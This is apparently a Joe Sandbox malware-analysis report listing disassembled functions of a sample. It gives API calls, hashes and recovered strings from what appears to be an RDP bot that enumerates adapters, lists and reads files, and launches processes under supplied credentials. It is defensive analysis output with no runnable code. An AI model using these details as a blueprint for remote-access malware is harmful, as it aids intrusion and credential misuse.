GetProcessHeap.KERNEL32 ref: 00007FF708872A1F
HeapFree.KERNEL32 ref: 00007FF708872A32

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: _errno$Heap$FreeProcessfclosefread
String ID:
API String ID: 4240746492-0
Opcode ID: 06b5753a0f2153fadecf8515356ede5123c149dc1559c95b793d2786b5db2776
Instruction ID: 4f1bf4da1ef7500bc016ab6d28168ec8b1074fd4a039d5bebafc733a5b9c1dbb
Opcode Fuzzy Hash: 06b5753a0f2153fadecf8515356ede5123c149dc1559c95b793d2786b5db2776
Instruction Fuzzy Hash: B2E04801B3825301FE74E9691D40F75C5B12F59798F5A14308D0F566E9DF3DE8D15828

Function 00007FF708872997 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715
_errno.MSVCRT ref: 00007FF7088727B7
_errno.MSVCRT ref: 00007FF7088727D2
_errno.MSVCRT ref: 00007FF70887294C
_errno.MSVCRT ref: 00007FF708872967
fread.MSVCRT ref: 00007FF7088729EA
GetProcessHeap.KERNEL32 ref: 00007FF708872A1F
HeapFree.KERNEL32 ref: 00007FF708872A32

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: _errno$Heap$FreeProcessfclosefread
String ID:
API String ID: 4240746492-0
Opcode ID: 5eb821edd3b4ac3d11fb5a8a8cf5f479bd344658574371c11ea2e3b3b9955ca5
Instruction ID: a3708d60a38eff19bd0b99a0d506839cfcbc0c55b77baf3b3e6cc0e2ecec3955
Opcode Fuzzy Hash: 5eb821edd3b4ac3d11fb5a8a8cf5f479bd344658574371c11ea2e3b3b9955ca5
Instruction Fuzzy Hash: A9E04801B3825301FE74E9695D40F75C5B12F59798F5A14308D0F566E9DF3DE8D15828

Function 00007FF7088729FE Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715
_errno.MSVCRT ref: 00007FF7088727B7
_errno.MSVCRT ref: 00007FF7088727D2
_errno.MSVCRT ref: 00007FF70887294C
_errno.MSVCRT ref: 00007FF708872967
fread.MSVCRT ref: 00007FF7088729EA
GetProcessHeap.KERNEL32 ref: 00007FF708872A1F
HeapFree.KERNEL32 ref: 00007FF708872A32

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: _errno$Heap$FreeProcessfclosefread
String ID:
API String ID: 4240746492-0
Opcode ID: eca8601a8072f10b742a6ea828dc9ef14cccec53e02c73ff1a62bffbaf347bab
Instruction ID: 68ef91e92cc9ef862c984d52b9bd563a9b14a77c78ccece678873dd911b65409
Opcode Fuzzy Hash: eca8601a8072f10b742a6ea828dc9ef14cccec53e02c73ff1a62bffbaf347bab
Instruction Fuzzy Hash: 93E0D801B3814201FE70E9691D40F35C5B12F44798F5A14308D0F162EADF3DE8D10828

Function 00007FF708872989 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715
_errno.MSVCRT ref: 00007FF7088727B7
_errno.MSVCRT ref: 00007FF7088727D2
_errno.MSVCRT ref: 00007FF70887294C
_errno.MSVCRT ref: 00007FF708872967
fread.MSVCRT ref: 00007FF7088729EA
GetProcessHeap.KERNEL32 ref: 00007FF708872A1F
HeapFree.KERNEL32 ref: 00007FF708872A32

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: _errno$Heap$FreeProcessfclosefread
String ID:
API String ID: 4240746492-0
Opcode ID: 0f4c820b4593ff6fa6eb4d1d7b985b18c40b22b35b228e74236585271f35355d
Instruction ID: 977957e8fe4b24355507415ca4a2630192d6375e44585db992cc92056388b40b
Opcode Fuzzy Hash: 0f4c820b4593ff6fa6eb4d1d7b985b18c40b22b35b228e74236585271f35355d
Instruction Fuzzy Hash: E1E04801B3825305FE74E9691D40F75C5B12F59798F5A14308D0F566EAEF3DE8D15828

Function 00007FF708872990 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715
_errno.MSVCRT ref: 00007FF7088727B7
_errno.MSVCRT ref: 00007FF7088727D2
_errno.MSVCRT ref: 00007FF70887294C
_errno.MSVCRT ref: 00007FF708872967
fread.MSVCRT ref: 00007FF7088729EA
GetProcessHeap.KERNEL32 ref: 00007FF708872A1F
HeapFree.KERNEL32 ref: 00007FF708872A32

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: _errno$Heap$FreeProcessfclosefread
String ID:
API String ID: 4240746492-0
Opcode ID: 93779f5a2cdb3e04165489ec7973de93b07f8438cdc681d7751f1fbd96d9f5de
Instruction ID: a1ab9fe0082c476625dc79765294fbc714d4f94a189762b761c58e28b07fb768
Opcode Fuzzy Hash: 93779f5a2cdb3e04165489ec7973de93b07f8438cdc681d7751f1fbd96d9f5de
Instruction Fuzzy Hash: E9E0D801B3825301FE70E9690D40F36C5B12F48798F5A14308C0F162EADF3DE8D10828

Function 00007FF708872982 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715
_errno.MSVCRT ref: 00007FF7088727B7
_errno.MSVCRT ref: 00007FF7088727D2
_errno.MSVCRT ref: 00007FF70887294C
_errno.MSVCRT ref: 00007FF708872967
fread.MSVCRT ref: 00007FF7088729EA
GetProcessHeap.KERNEL32 ref: 00007FF708872A1F
HeapFree.KERNEL32 ref: 00007FF708872A32

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: _errno$Heap$FreeProcessfclosefread
String ID:
API String ID: 4240746492-0
Opcode ID: d9839dda6aa00f83f1b280c0522c91c52a71f8d5d8a1992868c318b81a1566b1
Instruction ID: 8e27d0f47083ca5342937888bdc9816e1a8cd118ddc3f775579bcbd26d6e9a0d
Opcode Fuzzy Hash: d9839dda6aa00f83f1b280c0522c91c52a71f8d5d8a1992868c318b81a1566b1
Instruction Fuzzy Hash: 6BE04801B3825301FE74E9694D40F75C5B13F59798F5A14308D0F566E9DF3DE4D15828

Function 00007FF7088781E0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetServiceStatus.ADVAPI32 ref: 00007FF708878205

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: ServiceStatus
String ID:
API String ID: 3969395364-0
Opcode ID: 4993fdc76b1177e06be1b464f55a433b82611d2e99cbe8385cbffbaa458d3ac6
Instruction ID: b197ea03e40f75579a6d5dd0a79cf8e5f43d390f25677f54c6fe679161349bfd
Opcode Fuzzy Hash: 4993fdc76b1177e06be1b464f55a433b82611d2e99cbe8385cbffbaa458d3ac6
Instruction Fuzzy Hash: 56D06C74D6A602C6E708FF06EC85824E6B0BF89741BD09036D21C523A0DF3CA1B98B29

Function 00007FF7088776D2 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

rand_s.MSVCRT ref: 00007FF7088776E3

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: rand_s
String ID:
API String ID: 863162693-0
Opcode ID: 34b79ae6e1dd47e5b081b7fbe00c12fbd074ba990cf07bcb48e6a06ddf1fcfa5
Instruction ID: 789e0f06264ee1530cfe59aeefb39008af00dd14ada936998c4d8cac42f24c5e
Opcode Fuzzy Hash: 34b79ae6e1dd47e5b081b7fbe00c12fbd074ba990cf07bcb48e6a06ddf1fcfa5
Instruction Fuzzy Hash: 79C00226A185408AD620EB25E845659A770FB98308FD04111E65D826A4CB3CD62ACF14

Function 00007FF8B9155A47 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8B9155A55

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 7abd05a5a67c31e03c5b12fe05f629d692a795e69a910426a5662404033e003a
Instruction ID: 3d5bc5f1e61b4b7914237302588f4b708a614d2a2b3fff146f4abbe661271ea4
Opcode Fuzzy Hash: 7abd05a5a67c31e03c5b12fe05f629d692a795e69a910426a5662404033e003a
Instruction Fuzzy Hash: 13C02B90F1828283FF08AF7ABCD203402209FDC780F001038DB5E43392CE2CA8D4A300

Non-executed Functions

Function 00007FF8BFB52CE8 Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF8BFB52D38
HeapAlloc.KERNEL32 ref: 00007FF8BFB52D4C
GetAdaptersInfo.IPHLPAPI ref: 00007FF8BFB52D66
GetProcessHeap.KERNEL32 ref: 00007FF8BFB52D7D
HeapFree.KERNEL32 ref: 00007FF8BFB52D8E
GetProcessHeap.KERNEL32 ref: 00007FF8BFB52D98
HeapAlloc.KERNEL32 ref: 00007FF8BFB52DA9
GetAdaptersInfo.IPHLPAPI ref: 00007FF8BFB52DC3

Strings

[E] (%s) -> GetBestInterface failed(res=%08lx), xrefs: 00007FF8BFB52E59
H:/Projects/rdp/bot/codebase/net.c, xrefs: 00007FF8BFB52DF7, 00007FF8BFB52E27
net_info, xrefs: 00007FF8BFB52DD5, 00007FF8BFB52E05, 00007FF8BFB52E35, 00007FF8BFB52E52, 00007FF8BFB52EB6, 00007FF8BFB52EF5
[D] (%s) -> Adapter detected(name=%s,desc=%s,type=%d), xrefs: 00007FF8BFB52EFC
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB52E81, 00007FF8BFB52EA0
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB52E0C, 00007FF8BFB52E3C
(adapter_num != NULL), xrefs: 00007FF8BFB52DFE
[E] (%s) -> GetAdaptersInfo failed(res=%08lx), xrefs: 00007FF8BFB52DDC, 00007FF8BFB52EBD
(pref_adapter_type != NULL), xrefs: 00007FF8BFB52E2E
mem_alloc, xrefs: 00007FF8BFB52E7A, 00007FF8BFB52E99

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Heap$Process$AdaptersAllocInfo$Free
String ID: (adapter_num != NULL)$(pref_adapter_type != NULL)$H:/Projects/rdp/bot/codebase/net.c$[D] (%s) -> Adapter detected(name=%s,desc=%s,type=%d)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> GetAdaptersInfo failed(res=%08lx)$[E] (%s) -> GetBestInterface failed(res=%08lx)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$net_info
API String ID: 2437369060-1325175688
Opcode ID: 43c9ba1fab3bd22d021c8fc96399c174167b883a95ea790a58ad8f02497e1c4e
Instruction ID: baf784a1c666d460c03a2a73f2976a077fff7dca1f888da68c15cc5039edb998
Opcode Fuzzy Hash: 43c9ba1fab3bd22d021c8fc96399c174167b883a95ea790a58ad8f02497e1c4e
Instruction Fuzzy Hash: 57516D61A0E647A5FF209FA8E8602B87360AF447C4F484036EB4E46E96EE7CF945C751

Function 00007FF8BFB55013 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32 ref: 00007FF8BFB55059
strcpy.MSVCRT ref: 00007FF8BFB55074
FindFirstFileA.KERNEL32 ref: 00007FF8BFB55147
GetLastError.KERNEL32 ref: 00007FF8BFB55163
GetLastError.KERNEL32 ref: 00007FF8BFB55192
FindClose.KERNEL32 ref: 00007FF8BFB551B0

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

(name != NULL), xrefs: 00007FF8BFB550E1
[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu), xrefs: 00007FF8BFB55184
(path != NULL), xrefs: 00007FF8BFB550A9
[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu), xrefs: 00007FF8BFB551C8
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB550B7, 00007FF8BFB550EF, 00007FF8BFB55127
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB550A2, 00007FF8BFB550DA, 00007FF8BFB55112
fs_dir_list, xrefs: 00007FF8BFB550B0, 00007FF8BFB550E8, 00007FF8BFB55120, 00007FF8BFB5517D, 00007FF8BFB551C1
(resume_handle != NULL), xrefs: 00007FF8BFB55119

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Find$ErrorFileLast$CloseFirstNextfflushfwritestrcpy
String ID: (name != NULL)$(path != NULL)$(resume_handle != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu)$[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu)$fs_dir_list
API String ID: 4253334766-243243391
Opcode ID: abe8a7a0647bd4aa9e9a0bd68a63c99f469def4bf1afce3bbd9a4d46a30e68bb
Instruction ID: f85100c00cb2d387547dd8cba60605f40d51d0e6ae767c5bbece8e6d4d36e547
Opcode Fuzzy Hash: abe8a7a0647bd4aa9e9a0bd68a63c99f469def4bf1afce3bbd9a4d46a30e68bb
Instruction Fuzzy Hash: 0E618462E0D643A1FB2067DCA820BBC63506F407DAF481132DB5E5B6D4DE6DF984C381

Function 00007FF8BFB55835 Relevance: 72.0, APIs: 24, Strings: 17, Instructions: 298fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00007FF8BFB5587A
fseek.MSVCRT ref: 00007FF8BFB55899
_errno.MSVCRT ref: 00007FF8BFB558AD
_errno.MSVCRT ref: 00007FF8BFB558C8
_errno.MSVCRT ref: 00007FF8BFB55987

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

_errno.MSVCRT ref: 00007FF8BFB559A2
_errno.MSVCRT ref: 00007FF8BFB559E0
fclose.MSVCRT ref: 00007FF8BFB55A35
_errno.MSVCRT ref: 00007FF8BFB55AD7
_errno.MSVCRT ref: 00007FF8BFB55AF2

Strings

NULL, xrefs: 00007FF8BFB55DDB
[E] (%s) -> fread failed(path=%s,errno=%d), xrefs: 00007FF8BFB55C7B
[E] (%s) -> fopen failed(path=%s,errno=%d), xrefs: 00007FF8BFB55996
[E] (%s) -> ftell failed(path=%s,errno=%d), xrefs: 00007FF8BFB55AE6
[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld), xrefs: 00007FF8BFB55D6F
(path != NULL), xrefs: 00007FF8BFB558F6
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB55C54
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB558EF, 00007FF8BFB55922, 00007FF8BFB55955
(((*buf) == NULL) || ((*buf_sz) > 0)), xrefs: 00007FF8BFB5595C
fs_file_read, xrefs: 00007FF8BFB558B5, 00007FF8BFB558FD, 00007FF8BFB55930, 00007FF8BFB55963, 00007FF8BFB5598F, 00007FF8BFB55A72, 00007FF8BFB55ADF, 00007FF8BFB55BA9, 00007FF8BFB55C74, 00007FF8BFB55D68, 00007FF8BFB55DED
(buf_sz != NULL), xrefs: 00007FF8BFB55929
[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d), xrefs: 00007FF8BFB558BC
[I] (%s) -> Done(path=%s,buf_sz=%llu), xrefs: 00007FF8BFB55DF4
mem_alloc, xrefs: 00007FF8BFB55C4D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB55904, 00007FF8BFB55937, 00007FF8BFB5596A
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF8BFB55A79
[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d), xrefs: 00007FF8BFB55BB0

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: _errno$fclosefflushfopenfseekfwrite
String ID: (((*buf) == NULL) || ((*buf_sz) > 0))$(buf_sz != NULL)$(path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> fopen failed(path=%s,errno=%d)$[E] (%s) -> fread failed(path=%s,errno=%d)$[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld)$[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d)$[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d)$[E] (%s) -> ftell failed(path=%s,errno=%d)$[I] (%s) -> Done(path=%s,buf_sz=%llu)$fs_file_read$mem_alloc
API String ID: 2897271634-4162578512
Opcode ID: b84cb803f0d82e5a755407c3bb328e7d1a9ae36471a638cfe8f5b2168b7d09e7
Instruction ID: 01e3fd4aa707647cf8eb8d564d040fa1aeeb17ad2593fc09b669e6042328a2de
Opcode Fuzzy Hash: b84cb803f0d82e5a755407c3bb328e7d1a9ae36471a638cfe8f5b2168b7d09e7
Instruction Fuzzy Hash: 1BD18C62A08A47A2FA109FDDE850BBC7751AF547C9F556132DB0E572A1EF3CF5868300

Function 00007FF8BFB5B877 Relevance: 56.4, APIs: 17, Strings: 15, Instructions: 435stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8BFB5B909
strcat.MSVCRT ref: 00007FF8BFB5BA43
strlen.MSVCRT ref: 00007FF8BFB5BA59
strlen.MSVCRT ref: 00007FF8BFB5BA64
strlen.MSVCRT ref: 00007FF8BFB5BA98
strcat.MSVCRT ref: 00007FF8BFB5BAA8
strlen.MSVCRT ref: 00007FF8BFB5BAE6
strlen.MSVCRT ref: 00007FF8BFB5BAF3
strlen.MSVCRT ref: 00007FF8BFB5BB1C
strcat.MSVCRT ref: 00007FF8BFB5BB2E
LogonUserA.ADVAPI32 ref: 00007FF8BFB5BB9E
GetLastError.KERNEL32 ref: 00007FF8BFB5BBAC
CloseHandle.KERNEL32 ref: 00007FF8BFB5BE77

Strings

NULL, xrefs: 00007FF8BFB5C0FB, 00007FF8BFB5C107, 00007FF8BFB5C113, 00007FF8BFB5C11F, 00007FF8BFB5C12B, 00007FF8BFB5C137, 00007FF8BFB5C143, 00007FF8BFB5C14F, 00007FF8BFB5C15B
(usr == NULL) || (pwd != NULL), xrefs: 00007FF8BFB5BA13
[I] (%s) -> CreateProcessAsUserA done(usr=%s,pwd=%s,cmd=%s,pid=%lu), xrefs: 00007FF8BFB5BE60
[E] (%s) -> CreateProcessA failed(cmd=%s,gle=%lu), xrefs: 00007FF8BFB5BFF8
(pi != NULL), xrefs: 00007FF8BFB5B9AB
process_create, xrefs: 00007FF8BFB5B972, 00007FF8BFB5B9B2, 00007FF8BFB5B9E6, 00007FF8BFB5BA1A, 00007FF8BFB5BBCC, 00007FF8BFB5BD65, 00007FF8BFB5BE59, 00007FF8BFB5BEC8, 00007FF8BFB5BFF1, 00007FF8BFB5C0E3
h, xrefs: 00007FF8BFB5C03B
[E] (%s) -> CreateProcessAsUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu), xrefs: 00007FF8BFB5BD6C
[I] (%s) -> Done(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,pid=%lu), xrefs: 00007FF8BFB5BECF
H:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF8BFB5B9A4, 00007FF8BFB5B9D8, 00007FF8BFB5BA0C
(app != NULL), xrefs: 00007FF8BFB5B9DF
[E] (%s) -> LogonUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu), xrefs: 00007FF8BFB5BBD3
[I] (%s) -> CreateProcessA done(cmd=%s,pid=%lu), xrefs: 00007FF8BFB5C0EA
[E] (%s) -> Failed(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,err=%08x), xrefs: 00007FF8BFB5B979
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB5B9B9, 00007FF8BFB5B9ED, 00007FF8BFB5BA21

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
